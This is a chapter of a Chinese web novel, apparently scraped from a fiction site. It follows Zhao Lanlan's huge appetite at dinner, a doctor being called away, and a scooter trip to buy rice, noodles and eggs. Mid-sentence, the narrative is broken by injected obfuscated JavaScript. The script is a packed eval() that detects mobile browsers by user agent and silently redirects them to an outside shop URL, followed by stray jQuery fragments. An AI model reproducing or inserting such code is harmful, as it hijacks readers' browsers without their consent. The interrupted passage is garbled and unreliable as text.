刚开始的时候,赵兰兰吃得还是很克制,很矜持的,也就是比桌上的人快那么一点点。


    可等大家伙陆续吃饱,放下筷子,她就开始肆无忌惮了。


    剩下的,都是她的!


    寻常人吃两三碗扎实的米饭也饱了,更何况她一个小时前才刚吃完一大碗排骨面。


    可赵兰兰,她已经吃了六碗了!


    这惊人的胃口,让第一次见识的邓澈洁和程诚看得瞠目结舌。


    “要不……”


    程诚小心翼翼地开口,


    “你跟我去医院检查检查?”


    “去医院?做什么?”


    赵兰兰正起身,准备去刮干净电饭煲里最后一点锅巴饭。


    程诚忍不住盯着赵兰兰平坦的肚子:“你肚子受得了?”


    “这才哪到哪?”


    赵兰兰把刮下来的米饭压进碗里,坐回来,把几个盘子里剩下的菜汤浇在米饭上,拌匀,吃得喷香。


    “没事的,小程医生,兰兰她就是饭量比较大。”


    丁春花拍了拍有些担忧的邓澈洁,见怪不怪地对着程诚解释。


    顺手又把还剩有菜的碗,挪到赵兰兰面前:“这个豆角,是你昨天拿回来的。”


    赵兰兰伸出筷子,夹了一大把。


    嗯,油汪汪的,和阿娘做的一样好吃。


    “那你在我家干活,我还给你饿着了?”


    程诚想起赵兰兰中午在自家吃饭的斯文模样,现在看来,这丫头相当克制了。


    “没有啊,”


    赵兰兰趁着扒饭的空隙,认真地回答,


    “只是没吃饱而已。”


    “这不是一个意思?”


    “当然不一样!”


    赵兰兰觉得今天的程诚格外啰嗦,


    “饱就是饱,没吃饱不一定是饿,只是没饱而已。”


    “啧啧,厉害,”


    程诚忍不住嘴快,又接了句,


    “你这样,你家养得起你啊?”


    这句话,赵兰兰从小到大听过太多遍了。


    不同的人,在不同的地方,带着或惊讶,或调侃,或嫌弃的语气。


    但是现在,她终于可以挺直腰杆,理直气壮地反驳说这句话的人。


    “我自己可以养活自己!”


    赵兰兰抬起头,声音响亮,


    “再说我吃的白米饭,米饭又不贵!”


    “兰兰姐在长身体呢!”


    邓澈洁忍不住接过话茬,话里不自觉地带着维护。


    程诚这才反应过来,刚刚的话有些失礼。


    怪不得老师总说他嘴巴不把门。


    他不好意思地挠了挠头:


    “抱歉,我就是第一次见到反差这么大的小姑娘。”


    赵兰兰看在老八和几大袋吃食的份上,立马点头,原谅了程诚。


    要不是他,她连给邓澈洁见面礼都没着落呢。


    “所以你的名字叫兰兰?姓什么?”


    程诚最擅长打蛇随棍上,


    “钱兰兰?王兰兰?还是……”


    不等程诚把百家姓猜完,手机铃声突兀地响了起来。


    拿出来一看,是医院打来的。


    休假的时候,医院打电话过来,多半不是什么好事。


    程诚深吸一口气,做足了心里准备才接起电话:


    “喂?怎么了?”


    “老师去外地休假去了。”


    丁春花她们不自觉地屏住呼吸,隐隐听到电话那头的声音有些着急。


    “嗯,好,我就在医院附近,马上过来。”


    程诚面色凝重地挂断电话,转头对桌上的三人说道:


    “丁阿姨,医院那边来了好几个车祸病人,人手不够,我得赶紧回去。”


    “正事要紧,你快去忙!”


    丁春花连忙起身,热情地把程诚送到门口,


    “以后有时间,就来阿姨这里吃顿便饭。”


    “好的,下次一定还来!”


    程诚爽快地声音在门外响起。


    程诚不客气的话,让邓澈洁“噗嗤”一声笑了出来:


    “这个小程医生可真逗。”


    看着赵兰兰把碗里的米饭扒干净,邓澈洁连忙起身收拾,动作娴熟地倒水,准备洗碗。


    “阿洁,我来洗。”


    丁春花连忙抢过洗碗盆,


    “你去跟你兰兰姐玩一会。”


    可邓澈洁还是蹲在原地没动:


    “妈,就几个碗,我一下就洗完了。”


    丁春花无奈又心疼,只能退让一步:


    “那我来洗,你过水。”


    怕赵兰兰无聊,丁春花边洗碗边说道:


    “兰兰,我明天带你们去商场,你好好想想有什么要买的?”


    这话果然引起了赵兰兰的兴趣:“商场是做什么的?”


    邓澈洁脆声答道:


    “买东西的,吃得穿的用的,都可以买到。”


    随即絮絮叨叨起来,


    “妈妈说,明天带我们去吃炸鸡。这个只有商场才有。


    其他东西都太贵了,我们买不起,看看就好。”


    “瞎说,我们家有钱,买得起!”


    丁春花拧着抹布,对女儿说道。


    赵兰兰对被吹上天的炸鸡,不以为然。


    在她心里,肉包子才是神。


    炸鸡再好吃,能好吃得过肉包子?


    不过看邓澈洁说得眉飞色舞,她对商场也有了一丝兴趣。


    “现在几点了?”


    不知不觉,赵兰兰的语言习惯已经悄悄跟现代靠近了。


    邓澈洁撇了眼放在床上的手机:“五点了。”


    那还早,赵兰兰在心里盘算着。


    她认识这里到菜市场的路,不远。


    跑过去再跑回来,时间应当够了。


    买点大米和面条。


    这几天没赚到钱,肉就先不买了。


    “兰兰姐,你有事要忙吗?”


    赵兰兰挠了挠脑袋:“想去趟菜市场。”


    “我载你去!”邓澈洁自告奋勇。


    她年纪不大,但是驾龄已经有好几年了。


    在老家,老的老,小的小。


    邓澈洁跟着隔壁的邻居学会了骑车,总是借车载着奶奶去镇上赶集。


    卖点自家种的菜,再买些生活必需品。


    借的多了,别人也不方便,丁春花索性她买了辆全新的电动车。


    平时她上学的时候,就把车放家里。


    “兰兰姐,坐我的车,你就放心吧!”


    邓澈洁把车推出门,把着车把,架好姿势。


    赵兰兰没多想,上车,抓住邓澈洁的衣角。


    “出发!”上车之后,邓澈洁兴奋了许多。


    油门一拧,窜出去好远。


    “别去大马路上,那边有交警!”


    丁春花连忙追出来,大声交代着。


    回答她的,是吱吱作响的车架,和一颠一颠的挡泥板。


    “臭丫头,胆子大得很!”


    两人咻的一下就到了菜市场。


    赵兰兰熟门熟路地找到那家常去的米粮铺子。


    老板一看是老顾客,乐呵呵地给了几个厚实的大袋子。


    赵兰兰一口气买了四十斤大米,四十斤挂面。


    想着家里鸡蛋怕是剩得不多了,又拐进去买了两板鸡蛋。


    这下,邓澈洁可算


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17014728|190097||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    找着能出着力的地方了。


    抢着把鸡蛋接过来。


    两板鸡蛋,她还是提得动的。


    邓澈洁骑着车,载着赵兰兰从小路往回赶。


    经过那家熟悉的包子铺的时候,铺门已经关了。


    赵兰兰不免有些遗憾。


    “明早我请你吃肉包子。”


    “好呀~”


    邓澈洁灵巧地避开巷子里嬉闹的孩童和慢悠悠的行人,开朗的声音伴着傍晚的轻风,


    “那我们早上吃包子,中午吃炸鸡。”


    提到炸鸡,邓澈洁嘴角的笑意更深了些。


    其实,妈妈念叨过好几次要带她去吃,可她每回都找借口说不喜欢、不想吃、太油了。


    她知道的。


    她知道的呀。


    妈妈一个人赚钱,太辛苦。


    手上都是厚厚的茧子,连指纹都磨没了。


    炸鸡是挺贵的东西,不该让妈妈破费。


    等她长大赚钱了,再去吃!


    这次要不是丁春花说赵兰兰没吃过炸鸡,她这次也会习惯性地找借口的。


    “那晚上再一起去王叔家。”


    赵兰兰的声音从后座传来,欣然接受新的安排。


    老王两口子趁着难得的歇工,张罗着请施工队的工友一起来家里聚一聚。


    都是乡里乡亲的。


    工地上停了工,大家日子都不好过。


    一起吃顿饭,也算凑在一起聚聚气。


    两人顺利到家,丁春花那颗悬着的心总算放回了肚子里。


    赵兰兰把买回来的米面和鸡蛋归置好,又想起程诚给的那两大袋零食,


    她记得程诚说过女孩子都喜欢吃零食的。


    心想,邓澈洁肯定也喜欢。


    于是顺手把程诚给了另一大袋零食,径直递到邓洁面前。


    邓洁一看,连忙摆手推脱:


    “兰兰姐,这怎么行!那袋我收了就很不好意思了,哪能再要你这么多?”


    收一袋可以说是情分,再拿一袋,就太贪心了。


    丁春花也过来,劝说赵兰兰:


    “这些看着就不便宜,你自己留着慢慢吃。”


    “丁大姐,我吃饱就成啦。好吃的留给你们。”赵兰兰语气诚恳。


    她是真心这么想的。


    在她看来,能吃饱白米饭就是顶好的事,这些花花绿绿的零嘴,应当给更懂得欣赏的人。


    赵兰兰用布袋子,把程诚给的水果和刚才买的米面仔细装好,又指了指零食的包装袋,无奈道:


    “你看,这些东西没法用布袋子装。我带不回去的。”


    丁春花看了看那些确实不方便拆掉的零食包装,又看了看女儿虽然推拒但眼睛里还是忍不住流露出一点点好奇和渴望的样子,心里有了主意。


    她提起那袋赵兰兰执意要给的零食,解释道:


    “这样吧,这袋呢,就留在这里,你和阿洁两个人慢慢吃。


    另外那袋,明天咱们去你王叔家吃饭,正好提过去。


    第一次正式上门做客,空着手总是不好。


    这些零食看着体面,孩子们也喜欢。你看怎么样?”


    赵兰兰一听,眼睛亮了。


    这主意好!


    老王是个大好人,带着她赚钱,卖给她那么多便宜又好吃的红薯,还总关照她。


    能提点像样的东西去,正是她心里想的。


    她立刻点头,欣然接受了丁春花的建议:


    “行,听你的!”


    丁春花见她答应得爽快,心里也高兴。


    她把两袋零食分开放好,一袋塞进柜子里留给两个孩子,另一袋则妥帖地放在门边显眼处,免得明天忘了。